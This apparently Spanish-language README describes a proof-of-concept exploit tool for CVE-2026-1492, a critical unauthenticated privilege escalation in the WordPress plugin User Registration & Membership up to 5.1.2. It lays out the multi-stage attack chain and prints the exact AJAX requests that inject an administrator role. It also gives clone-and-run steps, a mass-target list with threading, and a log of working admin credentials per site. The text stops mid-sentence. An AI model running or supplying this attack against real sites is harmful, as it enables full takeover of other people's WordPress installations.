
User Registration & Membership <= 5.1.2 - Escalada de privilegios no autenticada a través del registro de membresía
User Registration & Membership <= 5.1.2 - Escalada de Privilegios no Autenticada mediante Registro de Membresía
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-1492 |
| Gravedad | CRÍTICA — Puntuación CVSS v3.1: 9.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software Afectado | User Registration & Membership — Constructor de Formularios de Registro Personalizados, Formulario de Inicio de Sesión Personalizado, Perfil de Usuario, Restricción de Contenido y Plugin de Membresía para WordPress |
| Versiones Afectadas | Todas las versiones hasta la 5.1.2 inclusive |
| Tipo de Vulnerabilidad | Gestión de Privilegios Incorrecta — Creación de Cuenta de Administrador no Autenticada |
| Autenticación Requerida | Ninguna |
| CWE | CWE-269: Gestión Inadecuada de Privilegios |
Descripción:
El plugin User Registration & Membership para WordPress es vulnerable a una Escalada de Privilegios no Autenticada en todas las versiones hasta la 5.1.2 inclusive. La vulnerabilidad se origina en el manejador AJAX user_registration_membership_register_member, que acepta un valor de role proporcionado por el usuario durante el proceso de registro de membresía sin imponer ninguna lista blanca del lado del servidor ni comprobación de capacidades. Un atacante remoto completamente no autenticado puede construir una cadena de peticiones AJAX de varios pasos — primero registrando una nueva cuenta de usuario y luego enviando una llamada maliciosa register_member con "role": "administrator" inyectado en la carga útil JSON members_data — para crear silenciosamente una cuenta de Administrador de WordPress con plenos privilegios. Esto resulta en el compromiso total de la instalación de WordPress afectada sin requerir ninguna interacción del usuario.
Este es un script de explotación de Prueba de Concepto (PoC) que implementa una cadena de ataque completa con seguimiento de estado contra sitios WordPress que ejecutan una versión vulnerable del plugin User Registration & Membership. La herramienta realiza una explotación inteligente en varias etapas con descubrimiento automático, extracción de planes, recolección de nonces, registro de doble flujo, inyección de roles y verificación de administrador.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
O mediante el archivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
La herramienta utiliza una interfaz de terminal totalmente interactiva basada en Rich. Todos los parámetros se solicitan en tiempo de ejecución.
Cree un archivo de texto plano (por defecto: list.txt) con un objetivo por línea:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
La herramienta descubre y analiza automáticamente:
| Objetivo | Qué se Extrae |
|---|---|
/membership-pricing/ | IDs de planes de membresía, enlaces a la página de registro |
/registration/ | Campos del formulario, nonces, URLs AJAX, entradas de radio de membresía |
Objeto JS user_registration_params | ajax_url, nonce security, metadatos del formulario |
ur_membership_frontend_localized_data | Nonce específico de membresía, endpoint AJAX |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ El servidor acepta el campo
roledel cliente sin ninguna validación de lista blanca — esta es la causa raíz de CVE-2026-1492.
La herramienta abre una sesión nueva, inicia sesión con las credenciales recién creadas y sondea: